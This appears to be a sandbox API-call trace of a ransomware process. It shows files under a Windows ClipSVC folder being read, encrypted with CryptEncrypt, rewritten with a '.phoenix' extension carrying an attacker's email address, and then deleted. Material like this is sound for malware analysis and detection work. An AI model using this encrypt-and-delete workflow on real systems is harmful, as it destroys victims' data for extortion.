	[0247.043] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1ab0, dwBufLen=0x1ab0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1ab0) returned 1
	[0247.043] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x1ab0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x1ab0, lpOverlapped=0x0) returned 1
	[0247.044] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1516c0) returned 1
	[0247.044] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0247.044] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0247.044] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0247.044] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0247.044] CryptDestroyKey (hKey=0x151100) returned 1
	[0247.044] CloseHandle (hObject=0x2b4) returned 1
	[0247.044] CloseHandle (hObject=0x2b0) returned 1
	[0247.044] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\be7366a7-9d6c-ef6d-2f6b-fe59a23f007c.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\be7366a7-9d6c-ef6d-2f6b-fe59a23f007c.xml")) returned 1
	[0247.045] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0247.045] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\ca947da2-7e9a-7249-8095-bceb379c6f74.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\ca947da2-7e9a-7249-8095-bceb379c6f74.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0247.046] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=3229) returned 1
	[0247.046] CloseHandle (hObject=0x2b0) returned 1
	[0247.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\ca947da2-7e9a-7249-8095-bceb379c6f74.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\ca947da2-7e9a-7249-8095-bceb379c6f74.xml")) returned 0x20
	[0247.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\ca947da2-7e9a-7249-8095-bceb379c6f74.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\ca947da2-7e9a-7249-8095-bceb379c6f74.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.046] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\ca947da2-7e9a-7249-8095-bceb379c6f74.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\ca947da2-7e9a-7249-8095-bceb379c6f74.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0247.046] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0247.046] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0247.046] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\ca947da2-7e9a-7249-8095-bceb379c6f74.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\ca947da2-7e9a-7249-8095-bceb379c6f74.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.047] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1513c0) returned 1
	[0247.047] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0247.047] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xc9d, lpOverlapped=0x0) returned 1
	[0247.076] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xca0, dwBufLen=0xca0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xca0) returned 1
	[0247.076] WriteFile (in: hFile=0x2b4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xca0, lpOverlapped=0x0) returned 1
	[0247.077] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1512c0) returned 1
	[0247.077] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0247.077] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0247.077] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0247.077] WriteFile (in: hFile=0x2b4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0247.078] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0247.078] CloseHandle (hObject=0x2b0) returned 1
	[0247.078] CloseHandle (hObject=0x2b4) returned 1
	[0247.078] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\ca947da2-7e9a-7249-8095-bceb379c6f74.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\ca947da2-7e9a-7249-8095-bceb379c6f74.xml")) returned 1
	[0247.079] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0247.079] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\d445d1cd-ecdf-2830-df9e-3f187e431898.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\d445d1cd-ecdf-2830-df9e-3f187e431898.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.079] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=3196) returned 1
	[0247.079] CloseHandle (hObject=0x2b4) returned 1
	[0247.079] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\d445d1cd-ecdf-2830-df9e-3f187e431898.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\d445d1cd-ecdf-2830-df9e-3f187e431898.xml")) returned 0x20
	[0247.080] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\d445d1cd-ecdf-2830-df9e-3f187e431898.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\d445d1cd-ecdf-2830-df9e-3f187e431898.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.080] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\d445d1cd-ecdf-2830-df9e-3f187e431898.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\d445d1cd-ecdf-2830-df9e-3f187e431898.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.080] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0247.080] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0247.080] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\d445d1cd-ecdf-2830-df9e-3f187e431898.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\d445d1cd-ecdf-2830-df9e-3f187e431898.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0247.080] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151640) returned 1
	[0247.080] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0247.080] ReadFile (in: hFile=0x2b4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xc7c, lpOverlapped=0x0) returned 1
	[0247.099] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc80, dwBufLen=0xc80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc80) returned 1
	[0247.099] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xc80, lpOverlapped=0x0) returned 1
	[0247.100] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151200) returned 1
	[0247.100] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0247.100] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0247.100] CryptDestroyKey (hKey=0x151200) returned 1
	[0247.100] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0247.100] CryptDestroyKey (hKey=0x151640) returned 1
	[0247.100] CloseHandle (hObject=0x2b4) returned 1
	[0247.100] CloseHandle (hObject=0x2b0) returned 1
	[0247.106] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\d445d1cd-ecdf-2830-df9e-3f187e431898.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\d445d1cd-ecdf-2830-df9e-3f187e431898.xml")) returned 1
	[0247.107] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0247.107] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\dc5bc54e-ee99-04c5-63a5-669bf0666354.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\dc5bc54e-ee99-04c5-63a5-669bf0666354.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.109] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=3191) returned 1
	[0247.109] CloseHandle (hObject=0x2b4) returned 1
	[0247.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\dc5bc54e-ee99-04c5-63a5-669bf0666354.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\dc5bc54e-ee99-04c5-63a5-669bf0666354.xml")) returned 0x20
	[0247.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\dc5bc54e-ee99-04c5-63a5-669bf0666354.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\dc5bc54e-ee99-04c5-63a5-669bf0666354.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.109] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\dc5bc54e-ee99-04c5-63a5-669bf0666354.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\dc5bc54e-ee99-04c5-63a5-669bf0666354.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.110] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0247.110] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0247.110] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\dc5bc54e-ee99-04c5-63a5-669bf0666354.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\dc5bc54e-ee99-04c5-63a5-669bf0666354.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0247.110] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1513c0) returned 1
	[0247.110] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0247.110] ReadFile (in: hFile=0x2b4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xc77, lpOverlapped=0x0) returned 1
	[0247.134] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc80, dwBufLen=0xc80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc80) returned 1
	[0247.134] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xc80, lpOverlapped=0x0) returned 1
	[0247.139] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151500) returned 1
	[0247.139] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0247.139] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0247.139] CryptDestroyKey (hKey=0x151500) returned 1
	[0247.139] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0247.139] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0247.139] CloseHandle (hObject=0x2b4) returned 1
	[0247.139] CloseHandle (hObject=0x2c8) returned 1
	[0247.143] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\dc5bc54e-ee99-04c5-63a5-669bf0666354.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\dc5bc54e-ee99-04c5-63a5-669bf0666354.xml")) returned 1
	[0247.161] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0247.161] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\e603fcd0-9cde-3f41-875c-5cc396d927ce.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\e603fcd0-9cde-3f41-875c-5cc396d927ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0247.166] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=2772) returned 1
	[0247.167] CloseHandle (hObject=0x2c4) returned 1
	[0247.170] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\e603fcd0-9cde-3f41-875c-5cc396d927ce.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\e603fcd0-9cde-3f41-875c-5cc396d927ce.xml")) returned 0x20
	[0247.170] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\e603fcd0-9cde-3f41-875c-5cc396d927ce.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\e603fcd0-9cde-3f41-875c-5cc396d927ce.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.172] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\e603fcd0-9cde-3f41-875c-5cc396d927ce.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\e603fcd0-9cde-3f41-875c-5cc396d927ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0247.172] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0247.172] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0247.172] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\e603fcd0-9cde-3f41-875c-5cc396d927ce.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\e603fcd0-9cde-3f41-875c-5cc396d927ce.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0247.183] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151180) returned 1
	[0247.183] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0247.183] ReadFile (in: hFile=0x2c8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xad4, lpOverlapped=0x0) returned 1
	[0247.280] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xae0, dwBufLen=0xae0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xae0) returned 1
	[0247.280] WriteFile (in: hFile=0x2e8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xae0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xae0, lpOverlapped=0x0) returned 1
	[0247.281] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151680) returned 1
	[0247.281] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0247.281] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0247.281] CryptDestroyKey (hKey=0x151680) returned 1
	[0247.281] WriteFile (in: hFile=0x2e8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0247.281] CryptDestroyKey (hKey=0x151180) returned 1
	[0247.281] CloseHandle (hObject=0x2c8) returned 1
	[0247.281] CloseHandle (hObject=0x2e8) returned 1
	[0247.281] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\e603fcd0-9cde-3f41-875c-5cc396d927ce.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\e603fcd0-9cde-3f41-875c-5cc396d927ce.xml")) returned 1
	[0247.282] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0247.282] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\e8fff2df-6041-8f21-3df7-db31661aa09b.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\e8fff2df-6041-8f21-3df7-db31661aa09b.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0247.283] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=2652) returned 1
	[0247.283] CloseHandle (hObject=0x2e8) returned 1
	[0247.283] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\e8fff2df-6041-8f21-3df7-db31661aa09b.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\e8fff2df-6041-8f21-3df7-db31661aa09b.xml")) returned 0x20
	[0247.283] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\e8fff2df-6041-8f21-3df7-db31661aa09b.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\e8fff2df-6041-8f21-3df7-db31661aa09b.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.283] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\e8fff2df-6041-8f21-3df7-db31661aa09b.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\e8fff2df-6041-8f21-3df7-db31661aa09b.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0247.283] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0247.283] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0247.283] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\e8fff2df-6041-8f21-3df7-db31661aa09b.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\e8fff2df-6041-8f21-3df7-db31661aa09b.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0247.284] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1513c0) returned 1
	[0247.284] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0247.284] ReadFile (in: hFile=0x2e8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xa5c, lpOverlapped=0x0) returned 1
